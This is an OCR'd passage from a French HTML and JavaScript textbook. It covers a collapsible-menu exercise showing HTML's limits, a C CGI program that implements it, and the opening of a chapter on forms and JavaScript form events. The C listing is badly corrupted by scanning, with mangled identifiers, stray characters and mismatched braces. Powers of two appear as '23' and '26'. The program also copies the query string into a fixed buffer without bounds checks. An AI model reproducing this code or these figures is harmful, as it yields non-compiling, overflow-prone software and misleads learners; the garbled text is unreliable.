Pour les entrées :
• salade
• charcuterie
• melon
Pour les viandes :
• entrecôte
• poulet
• escalope
Pour les desserts
• Crème renversée
• Glaces
• Fruits

178
Les limites d'HTML

On veut présenter une page HTML dont le mode de fonctionnement sera identique à
celui que nous avons décrit pour les répertoires du Finder du Macintosh :
La première page HTML affichera simplement trois lignes comportant les trois rubriques
principales.

Cliquer sur le titre d'une rubrique lorsque son contenu n'est pas affiché, provoque
l'affichage, sous ce titre, des plats composants cette rubrique (mode ouverture d'une
rubrique ou mode déplié).

Cliquer sur le titre d'une rubrique lorsque son contenu est affiché fait disparaître les
plats pour ne laisser que le titre (mode fermeture d'une rubrique ou mode replié).

Dans les deux cas (fermer ou ouvrir une rubrique), l'état d'affichage des autres
rubriques est sauvegardé.

On ne se préoccupera pas du petit triangle qui tourne. Ce n'est qu'un aspect graphique
simple à maîtriser.

Avec trois catégories, nous aurons à décrire 23 situations correspondant aux affichages
souhaités. Le tableau de la figure 37, résume toutes les combinaisons possibles d'affi­
chage des différentes rubriques. Le signe indique que le contenu de la rubrique est
affiché, le signe - indique que seul est affiché le nom de la rubrique. Chaque colonne cor­
respond à un fichier :
Le fichier F1 ([Link]) :
Il comporte simplement les trois titres de rubriques Entrées, Viandes et Desserts puisque
toutes les cases de la colonne F1 ont la valeur -.
Les pointeurs sur les titres de rubriques prévoient les états futurs :
• Entrées est un pointeur sur F5 car lorsqu'on clique sur Entrées, on doit afficher la
liste des entrées et l'intersection entre la ligne "entrée" et la colonne F5 donne bien la
valeur
F5 satisfait aussi la condition de sauvegarde puisque l'on part de F1 où viandes et
desserts n'étaient pas affichés, pour arriver à un état où ils ne sont toujours pas affi­
chés.
• Viandes est un pointeur vers F3 car lorsqu'on clique sur Viandes la liste des viandes
doit s'afficher et l'intersection entre la ligne "viandes" et la colonne F3 donne bien la
valeur .
F3 satisfait aussi la condition de sauvegarde puisque l'on part de F1 où les entrées et
desserts n'étaient pas affichés, pour arriver à un état où ils ne sont toujours pas affi­
chés.
• Desserts est un pointeur vers F2 car lorsqu'on clique sur Desserts, on doit afficher la
liste des desserts et l'intersection entre la ligne "desserts" et la colonne F2 donne bien
la valeur
F2 satisfait aussi la condition de sauvegarde puisque l'on part de F1 où les entrées et

179
 Programmation HTML et JavaScript

viandes n'étaient pas affichées, pour arriver à un état où elles ne sont toujours pas
affichées.

Les trois lignes HTML du fichier [Link] s'écriront donc :

<a href="[Link]">Entr&eacute;es</a>
<a href="[Link]">Viandes</a>
<a href="[Link]">Desserts</a>

Le fichier F2 ([Link])
Son état présent affiche les titres de rubrique Entrées, Viandes, le titre de rubrique Des­
serts suivi de la liste des desserts. Les pointeurs affectés aux titres de rubrique doivent
prévoir l'état futur. Le même raisonnement que précédemment nous conduit ainsi à dire
que :
• Entrées pointe maintenant vers F6 (que l'on notera à l'avenir E'F6).
• Viandes pointe vers F4 (que l'on notera V'F4).
• Desserts pointe vers F1 (que l'on notera D+'F1, le signe (+)plus en exposant indi­
quant l'affichage du contenu de la rubrique)
Le fichier [Link] contiendra les lignes :

<a href="[Link]">Entr&eacute;es</a>
<a href="[Link]">Viandes</a>
<a href="[Link]">Desserts</a>
<ul>
<li>Cr&egrave,-me renvers&eacute;e
<li>Glaces
<li>Fruits
</ul>

On applique la même méthode pour les fichiers F3 à F6. Donnons simplement les rela­
tions pour ces fichiers :

F3 : E'F7, V+'F1,D'F4
F4 : E'F8, V+'F2, D+'F3
F5 : E+'F1, V'F7, D+'F6
F6 : E+'F2, V'F8, D+'F5
F7 : E+'F3, V+'F5, D'F8
F8 : E+'F4, V+'F6, D+'F7

Une fois les huit fichiers ainsi décrits, on peut procéder aux essais... Si l'on ne s'est pas
trompé, tout marchera correctement ; sinon, il restera à rééditer les huit fichiers pour véri­
fication.
Imaginons maintenant que nous voulions compléter ce menu, par une catégorie poissons,
une catégorie fromages et une catégorie pizzas. On passe ainsi de trois à six catégories, et
le nombre de fichiers à éditer est de 26 soit 64 fichiers ! Ce nombre est suffisamment

180
Les limites d'HTML

grand et la méthode que nous venons de décrire suffisamment fastidieuse pour ne pas se
lancer dans un tel travail.
Ce petit exercice avait simplement pour but de montrer les limites du langage. Les pré­
sentations de données telles qu'on les voit sur les écrans des ordinateurs ne sont pas tou­
tes réalisables facilement en HTML.
Le recours à la programmation permet de repousser certaines limites. La suite de l'exer­
cice est plutôt réservée au programmeur. L'exemple que nous venons de donner se pro­
gramme en une centaine de lignes de C. Il permet de résoudre des listes de ce type sans
limite du nombre de catégories. Pour simplifier l'exercice, nous n'envisagerons pas le
cas de listes imbriquées.

Figure 37 - Les fichiers du menu

181
 Programmation HTML et JavaScript

Introduction à la programmation
La version programmée de l'exercice :
Nous étudierons très en détail dans La programmation CGI, page 237, la programma­
tion des serveurs Web. Pour l'heure, anticipons un peu et analysons comment résoudre
notre problème.
Si l'on doit réaliser un programme pour obtenir des listes "repliables", essayons de le
faire d'une façon suffisamment générale pour pouvoir utiliser cette nouvelle fonctionna­
lité dans n'importe quelle page HTML.
Choisissons d'abord un format pour le fichier qui contiendra les rubriques et leurs conte­
nus (appelons-le fichier data) :

Décidons aussi que les fichiers data pourront se trouver dans un répertoire quelconque du
serveur. Pour faire connaître l'adresse de ce répertoire au programme que l'on se propose
de réaliser, il faut créer un superfichier à une adresse fixe. Celui-ci connaîtra l'adresse de
tous les fichiers de type data. Ce modèle est identique au modèle adopté pour la fabrica­
tion des images cliquables (page 131).

182
Les limites d'HTML

Il faut donc aussi convenir d'un format pour ce superfichier, que nous appellerons
fichierconfig :

Décidons que le fichier data s'appelle [Link] et que le fichier config s'appelle
[Link]. Ce dernier se trouve à l'adresse fixe qui pourrait être /usr/local/etc/httpd/
conf et cette référence (ce chemin) est codé "en dur" dans le programme, (/usr/local/etc/
httpd/conf/[Link]).
Décidons enfin que nous lancerons le programme en lui passant comme paramètre le
label du fichier data que nous souhaitons exploiter.
Décrivons les phases d'exécution du programme :
• Le programme récupère le label ;
• Il ouvre le fichier /usr/local/etc/httpd/conf/[Link] et recherche dans la zone label
de chaque ligne un label qui corresponde à celui qu'il a récupéré à l'étape précédente ;
• Lorsqu'il a trouvé ce label, il extrait de la ligne l'adresse du fichier data avec lequel il
va devoir travailler et l'ouvrir ;
• Il lit le fichier et affiche dans la page HTML toutes les lignes dont le premier carac­
tère était un moins (-) (têtes de rubrique) ; il doit aussi préparer les liens associés à ces
têtes de rubrique.
Jusque-là tout est très simple. Ne perdons cependant pas de vue deux points très impor­
tants :
o Cliquer sur une rubrique la "plie" ou la "déplie" mais on doit conserver l'état d'affi­
chage des autres rubriques.
o Dans le protocole HTTP, un serveur envoie la page HTML à son client puis il clôt la
connexion. Que le serveur envoie cette page directement à partir d'un fichier HTML ou à
travers un programme générant du code HTML ne change absolument pas la méthode,
car le serveur n'a aucune mémoire de ce qu'il a précédemment envoyé.
Nous devons pourtant garder mémoire de l'état de la page à l'instant où l'utilisateur va
cliquer sur une rubrique !
Comment réaliser cela ?

183
 Programmation HTML et JavaScript

Lors de sa première exécution, le programme a pu mémoriser le nombre de rubriques du

fichier data. Dans notre exemple, il a trouvé entrées, viandes, poissons et desserts soit
quatre rubriques.
On peut donc définir une suite de quatre caractères pouvant prendre la valeur 0 ou 1 et
reflétant l'état d'affichage des rubriques. 0 représentera une rubrique repliée et 1 une
rubrique déployée. Ainsi, à la première exécution du programme, la chaîne vaut 0000.
Le programme connaît en outre l'ordre de ces rubriques (l=entrées, 2=viandes, etc.).
Les pointeurs que le programme va positionner sur chaque rubrique vont donc être des
appels à ce même programme, avec comme paramètres supplémentaires le numéro de la
rubrique et l'état d'affichage de l'ensemble des rubriques.
Examinons les pointeurs tels qu'ils sont fabriqués par le programme (attention : le code
HTML suivant est généré automatiquement par le programme) :

Que se passe-t-il maintenant lorsque l'on clique par exemple sur " Viandes" ?

• Le programme reçoit comme paramètres menu, 2, 0000 et retrouve le fichier data cor­
respondant.
• Il sait, grâce au second paramètre qui a la valeur 2, que la demande qui lui arrive est
une demande de changement d'état d'affichage de la rubrique numéro 2. L'indicateur
d'état de la rubrique 2 est égal à 0, ce qui indique que les plats de la catégorie "Vian­
des" n'étaient pas affichés et qu'ils le seront dans la prochaine page affichée.
Il calcule donc le nouvel indicateur d'état qui va prendre la valeur 0100.
• Il procède à l'affichage du titre de la catégorie "Entrées" sans en afficher les plats
puisque l'indicateur d'état de cette catégorie est égal à 0.
• Il affiche le titre de la catégorie " Viandes" et les plats de cette catégorie, car l'indica-

184
Les limites d'HTML

teur d'état est maintenant égal à 1. C'est ce que le lecteur a souhaité en cliquant sur
" Viandes" .
• Il traite les deux dernières rubriques en n'affichant que les titres de catégories puisque
les indicateurs d'état de ces catégories sont toujours égaux à 0.

Bien sûr, il a positionné les nouveaux pointeurs qui valent maintenant :

<a href=" /cgi-bin/directo?menu:1:0100">Entr&eacute;es</a>

<a href="/cgi-bin/directo?menu:2:0100">Viandes</a>
<ul>
<li>poulet
<li>entrec&ocirc;te
<li>steack
</ul>
<a href=" /cgi-bin/directo?menu:3:0100">Poissons</a>
<a href=" /cgi-bin/directo?menu:4:0100">Desserts</a>

On est maintenant en attente d'une autre intervention du lecteur.

Le programme définitif est un tout petit peu plus sophistiqué ; on a mis le petit triangle
représentant graphiquement l'état d'affichage de la rubrique, ainsi qu'un lien de retour. Ce
lien permet, lorsque l'on clique sur la flèche, de retourner à l'URL spécifiée en première
ligne du fichier data.

185
 Programmation HTML et JavaScript

Voici le listing du programme en langage C :

/* <dc> Cours HTML 240995 */

#include <stdio.h>
#include <stdlib.h>
#define directo_conf "/usr/local/etc/httpd/conf/[Link]"

main (int argc, char *argv[])

{
FILE * i fp;
charLF = 10;
char *cl;
char *p, *p2 , *p3 ;
char line[132];
char rtnurl[132];
char buf[132];
char label[80];
char dir[80];
char motif[256] ;
char *status;
int lg=80;
int i,j,n,err,flag,level, print;

printf ("Content-type: text/html%c%c“,LF,LF);

Cl = getenv ("QUERY_STRING");
if ((ici) || (! cl[0]))
{
printf ("<title>Error</title>%c",LF);
printf ( ”<H1>ERR0R</H1>', ) ;
exit(0);
}

printf ("<title>dir</title>%c", LF) ;

strcpy (buf,cl);
strcpy (dir,strtok(buf,":"));
flag=0;
if (strchr(cl, ' :')==NULL)flag=l;

if (! (ifp=fopen(directo_conf,"r")))
{
printf ("<h2>Erreur ouverture %s<h2>%c",directo_conf,LF);
exit(0);
}
status = fgets (line,lg,ifp);
line[strlen(line)—1]=0 ;
while ( status != NULL )
{
strcpy (buf,line);
strcpy (label, strtok (line,":")) ;
if (strcmp(dir,label) == NULL)
{
p=strchr(buf,' ');
P++;
fclose (ifp);

186
Les limites d'HTML

if (flag==1)
{
level=0;
if (! (ifp=fopen(p,"r")))
{
printf ("<h2>Erreur ouverture %s</h2>%c",p,LF) ;
exit(0);
}
status = fgets (line,lg,ifp);
line[strlen(line)-1]=0 ;
strcpy (rtnurl,line);
while ( status != NULL )
{
if (strncmp (line,"-",1) == NULL)level++;
status = fgets (line,lg,ifp) ;
line[strlen(line)-1]=0 ;
}
for (i = 0; i<level; i++)strcat(motif0 ") ;
rewind (ifp);
i = 0;
status = fgets (line,lg,ifp);
line[strlen(line)-1]=0 ;
while ( status != NULL )
{
if (strncmp (line,"-",1) == NULL)
{
i++ ;
printf("cimg src=\"/icons/[Link]\">");
printf("<a href=\"/cgi-bin/directo?%s:%i:%s\">",label,i,motif);
p3 = line;
p3 + + ;
printf("<b>%s</b></a><br>",p3);
}
status = fgets (line,lg,ifp);
line[strlen(line)-1]=0 ;
}
printf ( "chr><a href = \" %s\"><img border=no src = \ "/icons/
shadow_left.gif\"></a>",rtnurl);
fclose (ifp);
exit(0);
}

p2 = strtok(cl, " : " ) ;

p2 = strtok (NULL,":") ;
sscanf (p2,"%d",&i);
p2 = strtok(NULL,“:");
i-- ;
if (p2[i]=='1')
{
p2[i] = '0' ;
}
else

p2[i] = '1' ;
}
if (! (ifp=fopen(p,"r")) )
{
printf ("<h2>Erreur ouverture %s</h2>%c", p, LF) ;

187
 Programmation HTML et JavaScript

exit(0);
}
i = 0 ;
status = fgets (line,lg,ifp);
line[strlen(line)-1]=0 ;
strcpy (rtnurl,line);
while ( status != NULL )
{
if (strncmp (line,"-",1) == NULL)
{
print=0;
if (p2[i]=='1')print=1;
i++ ;
if (print==1)printf ("<img src=\"/icons/[Link]\">");
if (print==0)printf("<img src=\"/icons/[Link]\">");
printf("<a href=\"/cgi-bin/directo?%s :%i:%s\">",label,i,p2);
p3 = line;
p3++ ;
printf ( "<b>%s</b></a><br>", p3 ) ;
)
else
if (print==l) printf ("%s",line);
status = fgets (line,lg,ifp);
line[strlen(line)-1]=0 ;
}
printf ( "<hr><a href=\"%s\"><img border=no src=\"/icons/
shadow_left.gif\"></a>", rtnur1) ;
fclose (ifp);

exit(0);
}
status = fgets (line,lg,ifp);
line[strlen(line)-1]=0;
}
fclose (ifp);
exit(0);
}

188
Les limites d'HTML

RÉSUMÉ

Ce chapitre est avant tout un exercice montrant les limites du langage

HTML.
En résumé, rappelons que le niveau actuel d'HTML ne permet pas
tous les types de représentation de l'information que l'on a l'habitude
de trouver dans les applications d'informatique ou de micro-informati-
que.
L'interface de programmation peut cependant apporter une réponse à
ces limitations dans de nombreux cas.

189
 Chapitre 18

Les formulaires

Jusqu'à présent, nous avons appris à réaliser des pages HTML fonctionnant sur le modèle
suivant :
• Un auteur crée des documents et les met à disposition dans un serveur.
• Le lecteur utilise un browser pour aller consulter ces pages en cliquant sur des liens.
Il peut se promener ainsi à son gré dans les pages mais n'intervient jamais.
Il s'agit d'un mode de consultation où le seul choix possible concerne le cheminement
parmi les pages. A aucun moment il n'y a d'interactivité réelle entre le lecteur et le sys­
tème qui fournit les documents.
Imaginons que nous voulions réaliser sur un serveur Web un service permettant de com­
mander une documentation. Il faudra proposer sur la page HTML une liste des documen­
tations disponibles, puis collecter le nom et l'adresse du demandeur afin de pouvoir la lui
envoyer.
On peut aussi concevoir une recherche dans une base de données, un dictionnaire par
exemple : le lecteur tape dans la page HTML le mot à rechercher, puis reçoit dans la page
suivante la définition du mot.
Les formulaires ou forms sont le moyen offert par le langage HTML pour générer à
l'écran des zones de dialogue avec le lecteur.
Comme dans un formulaire papier, on pourra réaliser des zones dans lesquelles on
entrera un texte, des cases à cocher, des listes de choix, etc.
Un formulaire n'est qu'une interface de saisie ; il nécessite des éléments pour traiter
l'information qui y est collectée. A l'origine, on ne pouvait faire traiter un formulaire que
par un logiciel s'exécutant sur le serveur ; avec l'arrivée des scripts exécutés par le poste
client, la gestion d'une interface de saisie va devenir beaucoup plus efficace, beaucoup
plus dynamique. On va enfin pouvoir réaliser des applications client-serveur avec de
l'intelligence au niveau du client ! Certes, le traitement final s'exécutera toujours sur le

191
 Programmation HTML et JavaScript

serveur, mais on pourra minimiser le nombre d'aller-retour entre les deux protagonistes.
Côté serveur, on a toujours un programme1 s'exécutant dans un espace réservé à cet
effet : le CGI ou Common Gateway Interface. Pourquoi cette notion de passerelle et
d'interface ? Parce que très souvent, le programmeur devra écrire un script permettant
d'établir le dialogue entre le serveur recevant une requête du browser (soumission du
formulaire) et une autre application accessible depuis la machine serveur, comme une
base de données par exemple.
Le diagramme de la figure 38, illustre une transaction établie depuis un formulaire et un
SGBD.
On peut aussi imaginer une transaction ne dépassant pas le niveau du script si celui-ci se
suffit à lui-même pour traiter la requête. (On crée par exemple un formulaire où on lit un
nombre, le script calcule la racine carrée de ce nombre et retourne le résultat.)

Figure 38 - Du formulaire au SGBD, le principe "poste client passif"

1. Dans la terminologie du Web, on appelle plutôt scripts ces programmes informatiques.

192
Les formulaires

Figure 39 - Du formulaire au SGBD, le poste client devient actif

Quel est le principe du formulaire ?

A l'aide de balises HTML, on décrit les zones dans lesquelles l'utilisateur va remplir son
formulaire. Chacune de ces zones sera identifiée par un nom symbolique. Lorsque le for­
mulaire est envoyé au programme d'exploitation, celui-ci reçoit l'identificateur de cha­
que zone et la valeur saisie.
De plus, on peut associer à la plupart des balises un traitement spécifique, exécuté locale­
ment par le browser, lorsqu'un événement survient sur l'élément décrit par cette balise.
Ce traitement est décrit par un petit programme JavaScript inséré dans le fichier HTML.

193
 Programmation HTML et JavaScript

Par exemple, on décrit un champ dans lequel l'utilisateur du formulaire tapera son année
de naissance ; on attribue à cette zone le nom symbolique de anneeNaissance. L'utilisa­
teur tape dans ce champ 1966. Le script s'assure que la donnée est bien numérique, et si
tel est la cas, il l'envoie au programme CGI qui reçoit : anneeNaissance=1966.
Le programme CGI chargé du traitement final du formulaire peut être écrit dans le lan­
gage préféré du programmeur. C, Fortran, Perl, C-shell, Shell conviennent pour des ser­
veurs installés sur des machines Unix ou VMS. Sur un Macintosh par exemple, on pourra
utiliser les scripts ou les applications scriptables de Mac-OS.

A quel moment le formulaire est-il transmis au

script ?
La fin de la saisie, dont tous les champs ne sont d'ailleurs pas nécessairement renseignés,
est déclenchée lorsque l'on clique sur un bouton spécial appelé bouton de soumission ou
sur un lien hypertexte prévu à cet effet.
Si un script (de validation des données par exemple) est associé à la soumission du for­
mulaire, il est appelé en premier. Si le programmeur a correctement conçu sa fonction, il
aura utilisé un code de retour permettant de différer l'envoi tant que les données ne sont
pas correctes. Bien sûr, il alertera l'utilisateur par un message spécial indiquant que la
saisie est erronée.
Enfin quand le poste client (le browser) décidera, à l'aide de ces fonctions JavaScript que
les données sont valides, il les expédiera vers le serveur pour le traitement ultime.
Avant de commencer la description des balises, dressons l'inventaire des éléments à notre
disposition pour créer ces formulaires.
Le look des éléments présentés à la page 195 est celui d'un environnement Motif ; sur un
Macintosh ou sur un PC, cette présentation diffère un peu mais la fonctionnalité reste la
même.

On définit arbitrairement trois catégories d'éléments :

• une catégorie input s'appliquant à divers types d'entrées (champs de saisie de texte et
divers types de boutons) ;
• une catégorie select s'appliquant aux listes (menus déroulants, listes à ascenseurs) ;
• une catégorie textarea s'appliquant à une zone de saisie de texte libre.

194
Les formulaires

Champ texte
- catégorie input, type par défaut

Champ texte caché

- catégorie input, type password

Bouton de soumission (texte libre sur le bouton)

- catégorie input, type submit

Cases à cocher
- catégorie input, type checkbox
Boutons radio (minimum 2, un seul sélectionnable à la fois)
- catégorie input, type radio

Menu déroulant (pop liste)

(choix de l'item sélectionné par défaut)
- catégorie select, défaut

Liste (choix simple ou multiple)

- catégorie select, size>1

Entrée d'un texte "long"

- catégorie textarea

Bouton permettant d'effacer tout ce qui a déjà été saisi

dans le formulaire (texte libre sur le bouton)
- catégorie input, type reset

Bouton (usage général). Ce type de bouton n'a de sens

que dans le cadre d'exécution d'un script
- catégorie input, type button

Figure 40 - Les éléments d'un formulaire

195
 Programmation HTML et JavaScript

Description des balises de formulaire et des événe­

ments JavaScript associés
Nous allons maintenant décrire les balises permettant de générer un formulaire. Elles
permettent de fabriquer une interface de saisie, mais à ce niveau, on n'est pas encore
réellement dans la programmation ; pour cela on se reportera essentiellement au chapitre
La programmation CGI, page 237. On procède cependant au choix du nom des varia­
bles qui identifieront les éléments du formulaire, et on indique simplement le nom du
script devant exploiter les données de ce formulaire. On décide aussi du traitement à
associer aux événements. Il appartient ensuite au programmeur de coder les scripts. Ces
deux tâches, fabrication de l'interface et codage des scripts, peuvent très bien être réali­
sées par deux personnes collaborant sur la même application.

<FORM>
La balise <FORM> débute la description d'un formulaire. Entre <FORM> et </FORM>
se situeront toutes les balises générant les divers boutons, cases à cocher, entrées de
texte, etc. mais aussi du texte HTML standard permettant "d'habiller" et d'autodocumen-
ter le formulaire.
Cette balise possède plusieurs attributs :

L'attribut METHOD
Il s'adresse au programmeur qui va coder le script CGI. On en trouvera une description
complète dans le chapitre La programmation CGI, page 237. Disons simplement pour
le moment que cet attribut peut prendre deux valeurs, GET et POST, indiquant la
méthode de transfert des données acquises vers le script CGI.

L'attribut ACTION
Sa fonction est d'indiquer l'action à entreprendre (le script à exécuter) lorsque l'on clique
sur le bouton de soumission. "Action" définit donc l'URL du script permettant d'exploiter
le formulaire. Attention : on parle ici de script CGI (s'exécutant sur le serveur) et non de
script JavaScript (exécuté sur le poste client).

L'attribut NAME
Il possède deux fonctions particulières :
• Dans un même document peuvent résider plusieurs formulaires. L'attribut NAME
permet de définir, lors de l'envoi des données vers le script CGI, le formulaire qui les
expédie.
• Dans la représentation des éléments du formulaire en objets JavaScript, il permet le
nommage du formulaire. Dans la hiérarchie des objets du browser, le formulaire iden­
tifié par son nom (NAME=nom) pourra être référencé par les fonctions JavaScript.

L'attribut TARGET
L'exécution d'un script CGI se traduit toujours par un résultat qui est... une nouvelle
page HTML ! Cette nouvelle page peut venir remplacer la page qui contenait le formu­
laire, ou s'inscrire dans unt frame ou dans une autre fenêtre. En l'absence de l'attribut

196
Les formulaires

target, on remplace la page courante, en revanche l'attribut TARGET permet d'indiquer

la frame ou la fenêtre dans laquelle s'affiche la nouvelle page.

Les propriétés de l'objet FORM

Elles sont au nombre de cinq :
• action permet de lire ou de modifier l'action (c'est-à-dire l'URL ou le pseudo-proto­
cole) associée au formulaire.
Dans l'exemple ci-dessous, l'instruction HTML <form> programme un appel à
l'annuaire général ; l'exécution de l'instruction JavaScript modifie le formulaire qui
appelle maintenant l'annuaire des services.

<form name=anur action=/cgi-bin/annuaireGeneral>

</form>

<script>[Link]="/cgi/bin/annuaireServices">

• method permet de lire ou de modifier la méthode (get ou post) associée au formu­

laire.
• target permet de lire ou de modifier la cible dans laquelle va être envoyé le résultat
provoqué par l'exécution du formulaire.
Dans l'exemple ci-dessous, telle qu'est programmée la balise HTML, le résultat du
formulaire s'afficherait à la place du formulaire (pas de target spécifié). L'instruction
JavaScript modifie ce comportement et envoie le résultat dans une nouvelle fenêtre.

<form name=anur action=/cgi-bin/annuaireGeneral>

<script>[Link]="nelleFenetre"</script>

• enctype permet de connaître ou de modifier l'encodage (le content-type Mime) des

données transmises vers le formulaire.
• elements permet d'analyser les objets composant le formulaire :
• [Link] donne le nombre d'objets composant le formulaire,
• elements[n].name donne le nom associé à l'objet de rang n,
• elements[n].value ou element.nom_de_l'[Link] donne sa valeur.

La méthode de l'objet FORM

submit permet de déclencher, exactement comme si l'on cliquait sur le bouton sub­
mit, l'envoie du formulaire.
Dans l'exemple ci-dessous, on soumet le formulaire à travers un lien hypertexte.

<a href=javascript:[Link]()>Annuaire</a>

197
 Programmation HTML et JavaScript

L'événement JavaScript associé à l'objet FORM

L'événement onSubmit permet de spécifier l'exécution sur le poste client (donc par le
browser) d'une fonction JavaScript. Cette fonction (ce programme) s'exécute donc au
moment où l'on clique sur le bouton submit. Elle servira par exemple à tester si une don­
née du formulaire considérée comme obligatoire a bien été saisie. Cette fonction pourra
(si le programmeur le code) renvoyer un booléen (true ou false) qui permettra, selon la
formulation utilisée dans la balise, de bloquer l'exécution du script CGI tant que le boo­
léen n'a pas la valeur true.

La syntaxe générale d'ouverture d'un formulaire est donc :

<FORM NAME=nom_ du_ formulaire

METHOD=type_de_méthode
ACTION=URL_du_script
TARGET=nom_de_ la_ frame
onSubmit=fonction>
Cette dernière ligne peut être formulée différemment :
onSubmit=return fonctioni>
Dans ce type de formulation, si la fonction renvoit false, le script CGI spécifié par l'attri­
but ACTION n'est pas exécuté. Il est nécessaire alors de prévenir l'utilisateur par une
fenêtre d'alarme que sa saisie est incomplète et qu'il est invité à soumettre une nouvelle
fois son formulaire après l'avoir complété.

Exemple :

<FORM METHOD="post" NAME="insl" ACTION="/cgi-bin/inscription"

TARGET="recap" onSubmit="return veriFiche()">

Exemple de formulaire générant un e-mail avec sujet

L'exemple suivant montre comment fabriquer le sujet d'un e-mail à partir d'un choix
effectué dans une pop-liste. Le corps du mail est ensuite obtenu à partir d'un texte saisi
dans un textarea complété par les informations sur le client (browser) qui est utilisé pour
saisir le mail. Ces dernières informations sont stockées dans un champ hidden (voir Le
type HIDDEN, page 227) avant la transmission vers l'URL MAILTO.
Au moment de l'envoi du mail, on génère de nouveau le texte saisi en le complétant par
un message de confirmation.

198
Les formulaires

<html><head><title>Mail & Sujet</title>

<script>

199
 Programmation HTML et JavaScript

function envoyer() {

var text = "";

var index = 0;
var identif = "monWeb"

// Création du sujet du mail qui contient

// l'identificateur (identif) et l'option selectee
// (problème, suggestion, commentaire)

with ([Link]) {
i = elements["sujet"].length - 1;
for (;i >= 0; i--){
if (elements["sujet"][i].selected == true) {
index = i;
break;
}
}
// generation de l'action du formulaire mailto
action = '[Link]
text/html&subject=' ;
action += identif + '(' + elements["sujet”][index].value + ')';
}

// Création du corps du mail

// recuperation du type de browser utilise

// par la personne qui emet le mail
with (navigator) {
text = appName +' ' + appVersion +'\n';
text += appCodeName + 1 depuis' + userAgent + ' \n';
}
with ([Link]) {
// 1'information sur le browser est stockee
// dans un champ hidden (browser)
elements["browser"].value = text;
/ / O n regenere le texte saisi + le message "Message envoye"
elements[ "message" ].value+= ' \n\n___ Message envoye ___ \n\n' ;
}
return true;

}
</script>
</head><body>

200
Les formulaires

<form
name="mail"
action=""
method="get"
enctype="text /plain"
onSubmit=" envoyer ( ) "

<b>Sujet du mail : </b><br>

<select name="sujet">
<option value="PROBLEME"> Probl&egrave;me
<option value="SUGGESTION"> Suggestion
<option value="COMMENTAIRE" selected> Commentaire
</select>
<hr>

<p>
<b>Message :</b><br>
<textarea name= "message" rows="15" cols="50" wrap></textarea>

<input type="hidden" name="browser">

<hr>
<center>
<input type="submit" value="Envoyer le message">
</center>
</form>
</body></html>

On remarquera dans cet exemple le calcul de l'action pour le formulaire "mail",

Voir le manuel JavaScript with, page 396 pour l'utilisation de cette instruction.

Les balises définissant les composants du formulaire

Dans la hiérarchie des objets, toutes les balises qui vont être décrites jusqu'à la fin de ce
chapitre sont à considérer comme des propriétés de l'objet form.

<INPUT> ou <INPUT TYPE=TEXT>

Sans attribut (l'attribut implicite est TYPE=text), la balise <INPUT> définit une zone
d'entrée de texte simple. Ainsi l'instruction :

<input name="prénom">

donnera l'affichage : (1 dans lequel on peut saisir un texte delon­

gueur supérieure à la dimension de la case (scrolling horizontal).

201
 Programmation HTML et JavaScript

L'attribut NAME
Comme la balise <FORM>, permet une double identification :
• Dans le script CGI, il permet de reconnaître la donnée et la valeur qui y a été saisie
(prenom=Marianne par exemple)
• Dans le script JavaScript, il permet d'accéder aux propriétés et aux méthodes de
l'objet texte.

L'attribut SIZE
Cet attribut permet de fixer la longueur de la zone de texte (mesurée en caractères).
<input size="12" name="prénom">
L'attribut VALUE
Cet attribut permet de préinscrire un texte dans le champ d'entrée des caractères. Cela
sert par exemple à autodocumenter un formulaire ; dans la case où l'on attend le prénom
d'un individu, on peut inscrire le texte suivant : "ici votre prénom". On pourrait aussi y
inscrire la valeur la plus probable comme par exemple l'adresse d'un individu ; ce der­
nier conservera ce champ intact s'il n'a pas changé d'adresse.
<input size="72" name-="adresse" value="4, Rue François Coppe">
Si Les propriétés de l'objet TEXT
Les propriétés d'un objet permettent d'en connaître les caractéristiques, par exemple son
nom ou la valeur qui y est stockée. Ainsi, si la balise INPUT s'inscrit dans un formulaire
dont le nom est par exemple FormFiche, on accède depuis une fonction JavaScript aux
propriétés suivantes (dans le cas où l'utilisateur a saisi "Marianne") :
...[Link][n] qui va renvoyer prénom
...[Link]é[Link] qui va renvoyer prénom
...[Link][n].value qui va renvoyer Marianne
...[Link]é[Link] qui va renvoyer Marianne
...[Link][n].type qui va renvoyer text
...[Link]é[Link] qui va renvoyer text

Sachant que les composants d'un formulaire peuvent être considérés comme des élé­
ments d'un tableau numérotés à partir de zéro [0], on peut accéder à un élément soit par
son indice, soit par son nom.
L'objet TEXT possède ainsi quatre propriétés :
• name donne le nom qui a été choisi pour cette balise.
• value retourne la valeur saisie par l'utilisateur.
• defaultValue retourne la valeur originale préinscrite dans le champ.
• type retourne le type de l'objet (celui spécifié par l'attribut type dans la balise
HTML, soit text dans le cas présent).

Les méthodes de l'objet TEXT

La méthode d'un objet définit la fonction qu'on lui applique. Par exemple, si l'on sou­
haite choisir dans un formulaire, la première zone de saisie active, (zone dans laquelle

202
Les formulaires

"entrent" les caractères tapés au clavier), on programme une action particulière (la prise
du focus) sur l'objet représentant cette zone de saisie.
Il existe trois méthodes pour l'objet INPUT :
• focus permet de positionner le curseur de saisie dans le champ.
• blur permet de forcer le curseur de saisie hors du champ.
• select permet de sélectionner tout le texte saisi dans le champ.
Ainsi, dans l'exemple suivant, on sélectionne le champ prénom comme premier champ
de saisie :
...[Link]( )
Le jeu de parenthèses est obligatoire lorsqu'on applique une méthode à un objet, car en
réalité on fait appel à une fonction (sans paramètres) intrinsèque à l'interpréteur
JavaScript.

Les événements associés à l'objet TEXT

Le traitement des événements (programmation événementielle) est la partie la plus inté­
ressante du langage. La page s'animera dès l'intervention de l'utilisateur (l'événement)
qui entraîne, en effet, un traitement particulier.
Au niveau de la balise HTML, le programmeur indique pour chaque type d'événements
qu'il souhaite traiter, la fonction qu'il va effectuer (onEvenement=uneFonction(avecOu-
SansParametres). Il doit ensuite coder cette fonction dans la zone des scripts
(JavaScript).
Considérons la balise HTML suivante :

<input name="revenu" onFocus="aideContexte('indiquer le montant sans

les centimes')" onBlur="verifNum([Link])">

Le programmeur positionne une zone pour la saisie du montant des revenus. Par la fonc­
tion "aideContexte" associée à l'événement onFocus, il fait en sorte que, lorsque l'utili­
sateur clique dans la case de saisie, il reçoive automatiquement, dans une zone assignée à
cet effet, un message lui indiquant que le montant doit être indiqué sans les centimes.
Lorsqu'il aura terminé la saisie de ce champ, on appellera automatiquement la fonction
verifNum avec comme paramètre la valeur saisie. Cette fonction pourra par exemple tes­
ter que les caractères saisis sont uniquement des chiffres. Notons que la formulation
"[Link]" référence la valeur saisie dans le champ.
Voici les événements que l'on peut associer à la balise input :
